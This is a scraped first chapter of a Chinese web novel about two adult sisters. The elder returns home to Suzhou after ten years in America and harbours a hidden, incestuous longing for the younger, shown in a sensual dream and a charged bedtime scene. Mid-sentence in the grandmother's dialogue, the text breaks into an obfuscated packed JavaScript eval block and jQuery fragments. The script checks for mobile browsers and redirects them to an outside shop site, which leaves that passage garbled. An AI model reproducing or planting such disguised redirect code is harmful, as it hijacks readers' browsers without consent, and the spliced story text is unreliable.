1. 第 1 章

作品:《伪骨筵席

    查箐蘅又陷入了那个漫长而潮湿的梦。


    梦里,她推开了那扇门。


    一切都蒙着梦所特有的、不真实的柔光。梦里的人未着寸缕,肌肤在昏暗里泛着细腻的瓷白。她微仰着头,下唇被自己咬得薄红,下巴却轻轻搁在查箐蘅的肩窝,气息温热地拂过颈侧,轻轻喊:“姐姐……”


    那不仅仅是“性”,也不仅仅是“爱”。是两种炽烈情感的融合,烙在血缘之上、不可触碰的禁忌。


    梦里的人就那样坐在她怀里,眼睫低垂着。查箐蘅仿佛触到了一片有实感的云,温软得不可思议,又像怎么也擀不平整的棉花糖,带着细微的颤。


    接着,那个吻落了下来。


    是她主动的。


    一场与她们身份截然不符的、越界的纠缠就此开始。


    甜蜜的唇吻、晦涩难言的情愫,和那些隐秘不可闻的喘息与心跳,都罩在一个房间里。


    后来,她只是安静地靠在她怀里。


    不说话,就那样静静倚靠着,像寻找热源的小动物,时不时极轻地、眷恋地蹭一下。这须臾的温存,稠密得仿佛能填满现实中所有横亘的伦常。


    查箐蘅在这场幻梦里彻底沉沦,清醒地贪恋着诱发旧疾的温度,独自困在经年累月的病灶中心。


    自小藏着隐着,不可宣之于口的畸恋如鲠在喉,成为陈年旧伤。


    *


    十年光阴,弹指而过。


    苏州还没建起机场,出站口已堵成长龙。查宝妹混在接站的车流里,慢慢往前挪,目光扫过一张张陌生的脸。直到车窗外掠过一道身影。


    高挑,利落,裹着一件质感挺括的米色风衣,手里只随意拎着个黑色的双肩背包。


    是查箐蘅。模样没大变,但神情间那股疏离沉静的气息比十年前更甚。她微抬着下巴,视线在车海中搜寻,查宝妹按喇叭。


    两个人视线交汇,都有些漠然。


    “查墨筠。”查箐蘅喊她。


    副驾驶的车门被拉开,查箐蘅携着一身初秋微凉的空气坐进来。


    查宝妹整个人顿了一下。


    这个名字太久没人叫了,猝不及防砸过来,带着一种陌生的重量。她到唇边的那声“姐”,生生被堵了回去,喉间有些涩。


    以前,查宝妹不叫查宝妹。她有过一个很诗意、带着书卷气的名字,叫查墨筠。


    刚上小学的查宝妹,每次和朋友玩疯了忘记写作业,被罚抄名字累得鼻涕眼泪一起掉。于是在某个周末,她撒泼打滚,求完外婆求妈妈,终于喜滋滋地把名字改成了“查宝妹”。


    她对自己这个新名字满意极了,甚至还怂恿姐姐查箐蘅也去改:“这样以后发本子、考试写名字,都能少写好几笔,多省时间呀!”


    查箐蘅没理她,也不去改。


    查宝妹觉得她真是个蠢蛋,以后考清华北大,肯定要比别人慢几秒。她趴在桌边,锲而不舍,用一口苏州软话求她,“阿姐,你真不改吗,青青?”


    “是箐。”


    “我爱你,阿姐。”


    “我来开。”查箐蘅余光扫过她半天握不上方向盘的手。


    查宝妹顺从地解了安全带下车。两人在车头前无声地交换了位置,擦肩而过时,发梢和衣角带起一阵极淡的、橙香。


    查箐蘅坐进尚存余温的驾驶座,她双手搭上方向盘,指尖一下下轻敲着皮革表面。


    回家的路明明走了不止一次,查箐蘅像头回认识似的,接连拐错两个路口。原本简单的路程,硬是耗了两个小时。幸好,查宝妹不晕车。


    只是连续两小时闷在车里,到底有些无聊。查宝妹放着歌,有一搭没一搭地找话说。查箐蘅偶尔接一两句,声音疏淡。


    这么一来二去,竟又过了半个钟头。


    前方亮起红灯,车缓缓停下。查箐蘅将手搭回方向盘,目光望着前方。查宝妹侧过头,没话找话:“你的手还挺好看。是不是画图纸的人都这样?骨节分明,细长细长的。”她顿了顿,忽然冒出个念头,“你动动中指看看。”


    查箐蘅盯着前方车灯,修长中指很缓慢的曲起,在方向盘上轻轻点了两下。


    “就你这样,”查宝妹忽然笑起来,“要是拍段视频发网上,肯定一群人跟着叫。随手点赞都得几万。”


    查箐蘅难得地接过了话头:“你还做自媒体?”


    “不做,就爱发。”查宝妹耸耸肩,顺势就想点开手机相册,“主要想记录我家狮子……”她话没说完,查箐蘅已经低低“嗯”了一声,握着方向盘的手向右一打。车子拐过弯,汇入另一条街的车流,向前驶去。


    查宝妹在心里轻轻叹了口气。


    她能清晰地感觉到,查箐蘅在有意无意地回避她,那种疏离的冷淡像一层透明的隔膜横在中间,让查宝妹心里发闷,不太舒服。


    是因为大学时出国那件事吗?


    可查宝妹始终觉得,为什么不去争取更好的前程呢?她鼓励查箐蘅出国没什么不对。


    查箐蘅方向盘一打,车子滑入稠密的车流。前后左右挤满了各色车辆,SUV、自行车和电动车,她们在夹缝中艰难穿行,几个拎着菜篮的大妈牵着小孩,瞅准空隙匆匆而过。


    查宝妹眼皮一跳,“你怎么开上内环了?这下不知道要堵到什么时候。”


    “急什么。”查箐蘅冷声。


    原本半小时的路,到底又拖成了近两小时。


    到家时,天色已暗。


    查宝妹带了钥匙,径直拧开门锁。门刚推开一条缝,她甜软的苏州话便滑进了屋里:“妈,外婆,我回来了!”扭头笑着喊她,“阿姐。”


    她斜后方的查箐蘅眉头几不可察地蹙了一下,唇角微微绷紧。


    查宝妹丢了一双拖鞋给她,她放下东西就熟门熟路地开始帮忙,洗菜、擦桌子,手脚麻利。查箐蘅放下行李,也默不作声地挽起袖子想跟进厨房,却被查素梅和外婆连声拦住了。


    “你别动,路上累了,快去洗个澡歇着。”


    “就是,这儿有宝妹呢,你去歇会儿,或者先睡会儿。”


    两人合力把她往外推。


    查箐蘅站在客厅里看着厨房的三人。


    她垂下眼眸,低下头。


    查宝妹回头瞧她背影,莫名觉得难过。


    卧室里是熟悉温暖的牛乳味。


    查箐蘅在美国这些年,枕畔从没有过这样的气味。她痛苦安静地躺着,枕着妹妹的哆啦A梦图案的枕头,蓝色棉布被洗得微微发软。


    光和声音都细细碎碎地透进来。


    查宝妹嗓音清亮亮的:“我朋友家果园刚摘的橙子,甜吧?待会儿给我姐拿两个尝尝。”


    外婆的声音带着笑,又有点心疼:“是该给你阿姐剥一个。她在那儿,净吃些没滋没味的‘骚猪肉’。”


    查宝妹不像小时候那般奶声奶气,有种晒过太阳般的松快,亮堂堂的,透着股自然而然的欢喜。


    房门被轻轻推开一条缝的瞬间,查宝妹喊着闭着眼睛的查箐蘅,“吃饭了,大小姐。”


    查箐蘅低低应了一声,坐起身,脚探进床边一双粉色的拖鞋里,查素梅亲手钩织的,毛线厚实绵软。她目光扫过,看见查宝妹脚上那双同款不同色的,一蓝一粉,永远是一对。


    客厅里饭菜的暖香扑面,砂锅里炖着浓白色的鱼汤,腊肠炒得油润透亮,清炒莴苣碧绿生青,藕片脆生生地摞在白瓷盘里。


    “多吃点,看你瘦的。”


    大家都往查箐蘅碗里夹菜,不一会儿就堆成了小山。外婆挨着她坐,慈爱地问,“这回回来,能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021754|194267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多待些日子吧?”


    这话落下,桌上立马安静,连查宝妹扒饭的动作都慢了些许,查箐蘅没说话,沉默吃饭。


    外婆赶紧打岔,又给夹了几筷子菜。


    用过晚饭,一家人移到沙发上守着电视。查素梅和外婆挨着查箐蘅,话头总往她在美国的日子上引,问得细碎,言语间全是心疼。查宝妹不大插话,只坐在一旁,安安静静地剥着花生和橙子。


    橙皮撕裂时溅出细小的汁雾,空气里漫开清涩的甜香。她将剥好的橙瓣偶尔递到查箐蘅手边,指尖不经意间擦过对方微凉的掌心。


    查箐蘅手指微微蜷起,她将那瓣橙子虚握在手心,“我不吃。”


    可过了一会儿,当查宝妹再次默不作声地递来新剥好的橙瓣时,她还是伸手接了过去。


    查素梅看了看两个女儿,商量道:“今晚你睡我那屋,我跟你外婆挤挤?”


    外婆连忙摆手:“我老了,身上有老人味儿,别臭着你。让箐箐和宝妹一起睡呗,她俩好久没见,正好能说说话。”


    查素梅闻言,目光转向查箐蘅,眼神里带着点温和的探询,查箐蘅迎上母亲的目光,望着手里那瓣橙子,说:“外婆没味儿,我跟墨……宝妹一起睡。我俩挤挤就行。”


    夜里,两个人并排躺在同一张床上。窗外的月光斜斜地照进来,在床尾的地板上投下一方清泠泠的光。


    查宝妹开始低声说话,讲些琐碎的事,说完一段,她转过头,憋不住的问查箐蘅,“你今天为什么一直叫我大名?”


    查箐蘅脸上的神情仍是惯常的平静,幽深看不透底,“随便叫。”


    家里人都亲昵地叫“宝妹”,唯独她,会时不时患病,故意连名带姓地叫她大名。


    两张单人床并在一起,中间几乎没有缝隙。她们不会再像小时候那样,争抢着谁睡里面。


    查宝妹躺在那儿,温热的呼吸似有若无地拂过查箐蘅的脸颊。她又想开口说点什么,查箐蘅却将身子转向了另一侧。


    查宝妹翻来覆去,十多分钟,查箐蘅掐灭手机,问:“你怎么了?”


    查宝妹有些不适地也侧过身,面对着查箐蘅的背,小声嘀咕了一句:“有点涨……不知道是不是晚上鱼汤喝多了。”


    查箐蘅回头看她:“涨什么。”


    查宝妹本想说一句“涨奶”啊,话到嘴边,莫名觉得羞耻,低声换成:“胸,涨。”


    查宝妹早已不是几岁或十几岁的小姑娘,二十五岁的身体在月光下勾勒出丰盈的曲线。常年在非洲生活,让她的体质似乎也比旁人更暖热一些。


    她不好意思的说:“可能内衣小了,紧,你别看我,我准备脱了。”


    查箐蘅身体在昏暗里显得有些僵硬。


    查宝妹背对着她解开,“你不会是羡慕我吧?”


    查箐蘅面容隐在阴影里。


    查宝妹察觉到无声的凝视。


    她心里漫上一阵没来由的难受和委屈。查箐蘅又这样,自己一开玩笑,她就冷脸,不亲密,冷淡。


    查宝妹继续找话题,“算了,我给你讲个八卦,我快憋死了。”


    她的声音几乎贴上查箐蘅的耳廓,热乎乎的,“我有两个好朋友。”


    “A爱上了自家嫂子,B嫁了个富婆,结果富婆一夜暴毙,她转头就跟继女搞在了一起。”


    她说完,手指戳戳对方的肩膀,语气里掺着戏谑和试探:“你呢?这么些年清心寡欲的,该不会……也藏着什么见不得光的癖好吧?”


    查箐蘅起初像是没反应过来,怔了几秒。随后,她竟缓缓转过了身,在昏暗的光线里,深深地看了查宝妹一眼。


    那眼神沉甸甸的,带着压迫感,某种浓稠而滚烫的东西在眼里剧烈涌动。查宝妹心头没来由地一紧,头皮发麻。